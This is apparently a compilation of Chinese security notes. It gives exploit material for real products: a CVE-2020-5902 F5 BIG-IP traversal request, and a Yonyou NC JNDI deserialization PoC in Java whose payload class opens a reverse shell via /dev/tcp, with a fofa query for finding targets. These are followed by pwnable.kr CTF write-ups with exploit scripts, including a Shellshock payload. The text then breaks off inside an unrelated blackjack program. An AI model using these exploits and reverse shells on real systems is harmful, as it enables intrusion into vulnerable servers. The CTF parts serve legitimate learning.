还原list命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
..;
修补·反序列化绕过原理:https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
POC:https://github.com/Critical-Start/Team-Ares/blob/master/CVE-2020-5902/
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
UClient 提供了 JVM 参数设置,在里面直接添加
或者在其目录下的 client.sec 中直接修改
注:本文只测试了6.5版本
fofa:title=”YONYOU NC”
通过已有的资料,在nc.login.ui.LoginAssistant中有以下两点调用lookup
最终由nc.bs.framework.rmi.RmiNCLocator#lookup,注意到是 remoteContext,所以这里是类似 RMI 利用中的 Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击
后面就进入到常规操作了,最后放下调用栈
注意可以先打向 ceye 或 dnslog.cn等,在UA中会显示 JDK 版本,方便确定后续 payload
import nc.bs.framework.common.NCLocator;import java.util.Properties;public class poc { public static void attack(String url, String jndipath) { Properties env = new Properties(); if (!url.startsWith("http")) { url = "http://" + url; } env.put("SERVICEDISPATCH_URL", url + "/ServiceDispatcherServlet"); NCLocator locator = NCLocator.getInstance(env); locator.lookup(jndipath); } public static void main(String[] args) { attack("http://target", "ldap://ip:port/classname"); }}
远程编译部署
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.Serializable;import java.util.Hashtable;public class remote implements ObjectFactory, Serializable { public remote() { try{ java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","sh -i >& /dev/tcp/ip/port 0>&1"}); } catch (Exception e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; }}
当然也可以选择利用 nc 自带的类进行远程部署利用
import nc.bs.framework.common.ComponentMetaVO;import nc.bs.framework.rmi.RemoteAddressSelector;import nc.bs.framework.rmi.RemoteProxy;public class remote implements RemoteProxy { public remote() { try{ java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","sh -i >& /dev/tcp/ip/port 0>&1"}); } catch (Exception e) { e.printStackTrace(); } } @Override public Object getAttribute(String s) { return null; } @Override public void setAttribute(String s, Object o) { } @Override public ComponentMetaVO getComponentMetaVO() { return null; } @Override public int getRetryMax() { return 0; } @Override public void setRetryMax(int i) { } @Override public long getRetryInterval() { return 0; } @Override public void setRetryInterval(long l) { } @Override public void setRemoteAddressSelector(RemoteAddressSelector remoteAddressSelector) { } @Override public RemoteAddressSelector getRemoteAddressSelector() { return null; }}
关于反汇编时函数显示 plt
注意 pwndbg 对 heap 命令进行过一次大改,最后一次还易使用 commit 为 fbd2bb3abfc2500aae76d159e23015008e879b8d
fd@pwnable:~$ cat fd.c#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0;}
我们首先注意到 read 函数语法,暂时没找到
由于 fd 为传入可控,当我们将 fd=0x0时,即 fd=stdin 时,我们就可以控制 buf 内的内容,从而通过判断获取 flag
fd@pwnable:~$ ./fd 4660LETMEWINgood job :)mommy! I think I know what a file descriptor is!!
#include <stdio.h>#include <string.h>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0;}
0x21DD09EC == 568134124 == 113626824*4 + 113626828
col@pwnable:~$ ./col `echo -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"`daddy! I just managed to create a hash collision :)
或者
col@pwnable:~$ ./col `printf "\xc8\xce\xc5\x06%0.s" {1..4} && printf "\xcc\xce\xc5\x06"`daddy! I just managed to create a hash collision :)
https://qastack.cn/superuser/86340/linux-command-to-repeat-a-string-n-times
#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); }}int main(int argc, char* argv[]){ func(0xdeadbeef); return 0;}
在 Ninja 中,可以方便看到逻辑判断
我们来看下C语言函数调用栈的典型内存布局
因为存储变量时是从低地址开始覆盖的,所以从 ebp-0x2c 到 ebp+0x8,我们需要覆盖长度 0x34 的数据,然后覆盖变量值为0xcafebabe
#!/usr/bin/env python3from pwn import *conn = remote("pwnable.kr", 9000)conn.sendline(b"A"*52 + p32(0xcafebabe))conn.interactive()
Papa brought me a packed present! let's open it.Download : http://pwnable.kr/bin/flagThis is reversing task. all you need is binary
首先拿到题目,直接拖进 Ninja 可以发觉是加了壳的,简单识别下可以看到是 upx 壳
利用upx -d
脱壳
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ '/home/pwn/tools/upx-3.96-amd64_linux/upx' -d flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2020UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flagUnpacked 1 file.
查看下 main 函数,注意到字符串存储的位置
点进去看下,可以看到上面的那串应该就是 flag 了
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ strings flag | grep ':)'UPX...? sounds like a delivery service :)
#include <stdio.h>#include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name);}int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
利用 scp 把题目拷下来
pwn@pwn-Parallels-Virtual-Platform:~/tools/die_lin64_portable$ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./passcode@pwnable.kr's password: passcode 100% 7485 7.3KB/s 00:01
再来检测下程序开启了哪些保护措施,注意到 PIE 没有开启
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ checksec passcode [*] '/home/pwn/桌面/passcode' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
回到代码,注意到scanf("%d", passcode1);
这段代码是有问题的,首先考虑直接溢出覆盖passcode1 以及 passcode2,338150 == 0x000528e6已经出现了0x00截断,因此无法实现变量覆盖
那么直接覆盖RET呢?注意到开启了 Canary,需要绕过,暂时不会:(
但是注意到 PIE 没有开启,而且passcode1前面没有取地址符号&
,我们可以覆盖内存地址为passcode1的数据内容
这样我们通过将 passcode1 设置为 fflush 的 GOT 表单,通过 scanf 将调用地址指向 system("/bin/cat flag");
达成绕过认证获取 flag,大致步骤如下:
从 name 到 passcode1 的长度为 (ebp+0x70) - (ebp-0x10) = 0x80 == 96
看一下 fflush 的 GOT 地址为0x0804a004
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ objdump -R passcode passcode: 文件格式 elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
再通过 gdb 查看 system("/bin/cat flag");
开始调用的指令地址为 0x080485e3,同时注意到scanf 传参时为%d
,所以需要转换成 int 型数据
(gdb) disassemble login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: mov %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp 0x0804856a <+6>: mov $0x8048770,%eax 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420 0x08048577 <+19>: mov $0x8048783,%eax 0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov 0x804a02c,%eax 0x08048590 <+44>: mov %eax,(%esp) 0x08048593 <+47>: call 0x8048430 0x08048598 <+52>: mov $0x8048786,%eax 0x0804859d <+57>: mov %eax,(%esp) . . . 0x080485d7 <+115>: movl $0x80487a5,(%esp) 0x080485de <+122>: call 0x8048450 0x080485e3 <+127>: movl $0x80487af,(%esp) 0x080485ea <+134>: call 0x8048460 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: movl $0x80487bd,(%esp) 0x080485f8 <+148>: call 0x8048450 0x080485fd <+153>: movl $0x0,(%esp) 0x08048604 <+160>: call 0x8048480 End of assembler dump.
passcode@pwnable:~$ python -c "print 'A' * 96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcodeToddler's Secure Login System 1.0 beta.enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!Sorry mom.. I got confused about scanf usage :(enter passcode1 : Now I can safely trust you that you have credential :)
#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0;}
因为直接 random 为伪随机,我们只需要知道程序中生成的值是多少就可以直接拿来利用了
pwndbg> disassemble mainDump of assembler code for function main: 0x00000000004005f4 <+0>: push rbp 0x00000000004005f5 <+1>: mov rbp,rsp 0x00000000004005f8 <+4>: sub rsp,0x10 0x00000000004005fc <+8>: mov eax,0x0 0x0000000000400601 <+13>: call 0x400500 0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400609 <+21>: mov DWORD PTR [rbp-0x8],0x0 0x0000000000400610 <+28>: mov eax,0x400760 0x0000000000400615 <+33>: lea rdx,[rbp-0x8] 0x0000000000400619 <+37>: mov rsi,rdx 0x000000000040061c <+40>: mov rdi,rax 0x000000000040061f <+43>: mov eax,0x0 0x0000000000400624 <+48>: call 0x4004f0 <__isoc99_scanf@plt> 0x0000000000400629 <+53>: mov eax,DWORD PTR [rbp-0x8] 0x000000000040062c <+56>: xor eax,DWORD PTR [rbp-0x4] 0x000000000040062f <+59>: cmp eax,0xdeadbeef 0x0000000000400634 <+64>: jne 0x400656 0x0000000000400636 <+66>: mov edi,0x400763 0x000000000040063b <+71>: call 0x4004c0 0x0000000000400640 <+76>: mov edi,0x400769 0x0000000000400645 <+81>: mov eax,0x0 0x000000000040064a <+86>: call 0x4004d0 0x000000000040064f <+91>: mov eax,0x0 0x0000000000400654 <+96>: jmp 0x400665 0x0000000000400656 <+98>: mov edi,0x400778 0x000000000040065b <+103>: call 0x4004c0 0x0000000000400660 <+108>: mov eax,0x0 0x0000000000400665 <+113>: leave 0x0000000000400666 <+114>: ret End of assembler dump.
可以确认 random 存在 rbp-0x4,输入值存在 rbp-0x8
注意小端存储,所以 random=0x6b8b4567
输入值:0x6b8b4567 ^ 0xdeadbeef = 3039230856
random@pwnable:~$ ./random3039230856Good!Mommy, I thought libc random is unpredictable...
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0;}
一共有 5 关:
\x00
参数 ‘B’(66) 为 \x20\x0a\x0d
\x00\x0a\x00\xff
,stderr 中读取输入\x00\x0a\x02\xff
\xde\xad\xbe\xef
,需要值为\xca\xfe\xba\xbe
\x0a
文件,前 4 个字节需要为\x00\x00\x00\x00
b
至此端口from pwn import *from time import sleepconn = ssh(host="pwnable.kr", port=2222, user="input2", password="guest")conn.write("/tmp/sa/stdin", b"\x00\x0a\x00\xff")conn.write("/tmp/sa/stderr", b"\x00\x0a\x02\xff")conn.write(b"/tmp/sa/\x0a", b"\x00\x00\x00\x00")args = list("." * 100)args[ord('A')] = b"\x00"args[ord('B')] = b"\x20\x0a\x0d"args[ord('C')] = "47362"envs = {b"\xde\xad\xbe\xef":b"\xca\xfe\xba\xbe"}p = conn.process(argv=args, cwd="/tmp/sa/", env=envs, executable="/home/input2/input", stdin="/tmp/stdin", stderr="/tmp/stderr")sleep(2)sock = conn.remote("127.0.0.1", 47362)sock.send("\xde\xad\xbe\xef")p.interactive()
执行结果:
pwn@pwn-Parallels-Virtual-Platform:~/pwnable.kr$ /usr/bin/python3 /home/pwn/pwnable.kr/7_input.py[+] Connecting to pwnable.kr on port 2222: Done[*] input2@pwnable.kr: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.179 ASLR: Enabled[+] Starting remote process '/home/input2/input' on pwnable.kr: pid 145635[*] Switching to interactive modeWelcome to pwnable.krLet's see if you know how to give input to programJust give me correct inputs then you will get the flag :)Stage 1 clear!Stage 2 clear!Stage 3 clear!Stage 4 clear!Stage 5 clear!Mommy! I learned how to pass various input in Linux :)[*] Got EOF while reading in interactive
#include <stdio.h>#include <fcntl.h>int key1(){ asm("mov r3, pc\n");}int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" );}int key3(){ asm("mov r3, lr\n");}int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0;}
(gdb) disass mainDump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 0x00008d54 <+24>: bl 0xfb6c 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 0x00008d98 <+92>: bl 0x1050c 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc 0x00008da0 <+100>: bl 0xf89c 0x00008da4 <+104>: b 0x8db0 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 0x00008dac <+112>: bl 0x1050c 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; instruction: 0x0006a4b0 0x00008dcc <+144>: ; instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9End of assembler dump.(gdb) disass key1Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lrEnd of assembler dump.(gdb) disass key2Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lrEnd of assembler dump.(gdb) disass key3Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lrEnd of assembler dump.(gdb)
通过 c 文件看,就是找到 key1、key2、key3 之和即可
key1:
当只有一个结果返回时,会放在 r0 里,所以 key1:0x00008cdc + 0x8 = 0x00008ce4
key2:
由于 0x00008cfc 处 r6:0x1 + 0x00008cfc + 0x8 = 0x00008d05 最后一位为 1 导致在0x00008d00处进入 Thumb 状态,于是 0x00008d06 处 r3 = 0x00008d04 + 0x4 + 0x4 = 0x00008d0c
key3:
连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能:
可以看到下一条指令的地址为 0x00008d80
所以 key3:0x00008d80
综合计算 key1 + key2 + key3 = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 108400
/ $ ./legDaddy has very strong arm! : 108400Congratz!My daddy has a lot of ARMv5te muscle!
#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0;}
题目给了提示
hint : operator priority
然后注意到这句if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
这里面的执行优先级是有问题的,应该为if((fd=open("/home/mistake/password",O_RDONLY,0400)) < 0)
,错误的写法导致 fd=0,紧跟着 read 则会从 stdin里面读取 10 位长度内容作为 password
所以最终 pw_buf 和 pw_buf2 我们都能控制,只要保证每一位和 1 进行亦或即可
mistake@pwnable:~$ ./mistake do not bruteforce...0000000000input password : 1111111111Password OKMommy, the operator priority always confuses me :(
#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}
破壳漏洞的利用,这篇文章好点
查看有漏洞的 bash 版本
shellshock@pwnable:~$ ./bash --versionGNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
同时注意到文件权限
shellshock@pwnable:~$ ls -sailtotal 98023593359 4 drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .23593232 4 drwxr-xr-x 116 root root 4096 Apr 17 14:10 ..23593368 940 -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash23593367 4 d--------- 2 root root 4096 Oct 12 2014 .bash_history23593366 4 -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag23593364 4 dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi23593361 4 drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache23593363 12 -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock23593360 4 -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
shellshock@pwnable:~$ env x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' ./shellshockonly if I knew CVE-2014-6271 ten years ago..!!Segmentation fault (core dumped)
--------------------------------------------------- - Shall we play a game? - --------------------------------------------------- You have given some gold coins in your hand however, there is one counterfeit coin among them counterfeit coin looks exactly same as real coin however, its weight is different from real one real coin weighs 10, counterfeit coin weighes 9 help me to find the counterfeit coin with a scale if you find 100 counterfeit coins, you will get reward :) FYI, you have 60 seconds. - How to play - 1. you get a number of coins (N) and number of chances (C) 2. then you specify a set of index numbers of coins to be weighed 3. you get the weight information 4. 2~3 repeats C time, then you give the answer - Example - [Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial [Client] 0 1 # weigh first and second coin [Server] 20 # scale result : 20 [Client] 3 # weigh fourth coin [Server] 10 # scale result : 10 [Client] 2 # counterfeit coin is third! [Server] Correct! - Ready? starting in 3 sec... -
二分法找 coin
远程跑容易受到网络影响,推荐部署到/tmp/
里本地跑,非常快
from pwn import *from time import sleepfrom re import compileconn = remote("pwnable.kr", 9007)print(conn.recv())sleep(3)def getList(start, end): return ' '.join([str(x) for x in list(range(int(start), int(end)))])while True: status = False data = conn.recv().decode('utf-8') print("[<-] recv: %s" % data) NC = compile("^N=([0-9]*) C=([0-9]*)$").match(data) W = compile("^([0-9]*)$").match(data) if NC: end = int(NC.group(1)) fp = (0, end//2) sp = (end//2, end) status = True elif W: if int(W.group(1)) == (fp[1] - fp[0]) * 10: fp = sp tp = (fp[0] + fp[-1])//2 + (fp[0] + fp[-1]) % 2 sp = (tp, fp[-1]) fp = (fp[0], tp) status = True elif "format error" in data or "time expired" in data: print("[>.< Bye...") break if status: data = getList(fp[0], fp[1]) print("[->] send: %s" % data) conn.send(data + "\n")
[<-] recv: Congrats! get your flagb1NaRy_S34rch1nG_1s_3asy_p3asy
原地址:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
// Programmer: Vladislav Shulman// Final Project// Blackjack// Feel free to use any and all parts of this program and claim it as your own work//FINAL DRAFT#include <stdlib.h>#include <stdio.h>#include <math.h>#include <time.h> //Used for srand((unsigned) time(NULL)) command#include <process.h> //Used for system("cls") command#define spade 06 //Used to print spade symbol#define club 05 //Used to print club symbol#define diamond 04 //Used to print diamond symbol#define heart 03 //Used to print heart symbol#define RESULTS "Blackjack.txt" //File name is Blackjack//Global Variablesint k;int l;int d;int won;int loss;int cash = 500;int bet;int random_card;int player_total=0;int dealer_total;//Function Prototypesint clubcard(); //Displays Club Card Imageint diamondcard(); //Displays Diamond Card Imageint heartcard(); //Displays Heart Card Imageint spadecard(); //Displays Spade Card Imageint randcard(); //Generates random cardint betting(); //Asks user amount to betvoid asktitle(); //Asks user to continuevoid rules(); //Prints "Rules of Vlad's Blackjack" menuvoid play(); //Plays gamevoid dealer(); //Function to play for dealer AIvoid stay(); //Function for when user selects 'Stay'void cash_test(); //Test for if user has cash remaining in pursevoid askover(); //Asks if user wants to continue playingvoid fileresults(); //Prints results into Blackjack.txt file in program directory//Main Functionint main(void){ int choice1; printf("\n"); printf("\n"); printf("\n"); printf("\n 222 111 "); printf("\n 222 222 11111 "); printf("\n 222 222 11 111 "); printf("\n 222 111 "); printf("\n 222 111 "); printf("\n"); printf("\n%c%c%c%c%c %c%c %c%c %c%c%c%c%c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club); printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club); printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club); printf("\n%c%c%c%c%c %c%c %c %c%c %c %c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club); printf("\n%c %c %c%c %c %c%c%c%c %c %c %c%c %c ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club); printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club); printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club); printf("\n%c%c%c%c%c%c %c%c%c%c%c%c%c %c %c %c%c%c%c%c %c %c ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club); printf("\n"); printf("\n 21 "); printf("\n %c%c%c%c%c%c%c%c %c%c %c%c%c%c%c %c %c ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade); printf("\n %c%c %c %c %c %c %c %c ", diamond, diamond, heart, heart, club, club, spade, spade); printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade); printf("\n %c%c %c %c%c %c %c %c %c ", diamond, diamond, heart, heart, heart, heart, club, spade, spade); printf("\n %c%c %c %c%c%c%c %c %c %c%c %c ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade); printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade); printf("\n %c %c%c %c %c %c %c %c %c ", diamond, diamond, diamond, heart, heart, club, spade, spade); printf("\n %c%c%c %c %c %c%c%c%c%c %c %c ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade); printf("\n"); printf("\n 222 111 "); printf("\n 222 111 "); printf("\n 222 111 "); printf("\n 222222222222222 111111111111111 "); printf("\n 2222222222222222 11111111111111111 "); printf("\n"); printf("\n"); asktitle(); printf("\n"); printf("\n"); system("pause"); return(0);} //end programvoid asktitle() // Function for asking player if they want to continue{ char choice1; int choice2; printf("\n Are You Ready?"); printf("\n ----------------"); printf("\n (Y/N)\n "); scanf("\n%c",&choice1); while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered { printf("\n"); printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); scanf("%c",&choice1); } if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu. { system("cls"); printf("\nEnter 1 to Begin the Greatest Game Ever Played."); printf("\nEnter 2 to See a Complete Listing of Rules."); printf("\nEnter 3 to Exit Game. (Not Recommended)"); printf("\nChoice: "); scanf("%d", &choice2); // Prompts user for choice if((choice2<1) || (choice2>3)) // If invalid choice entered { printf("\nIncorrect Choice. Please enter 1, 2 or 3\n"); scanf("%d", &choice2); } switch(choice2) // Switch case for different choices { case 1: // Case to begin game system("cls"); play(); break; case 2: // Case to see rules system("cls"); rules(); break; case 3: // Case to exit game printf("\nYour day could have 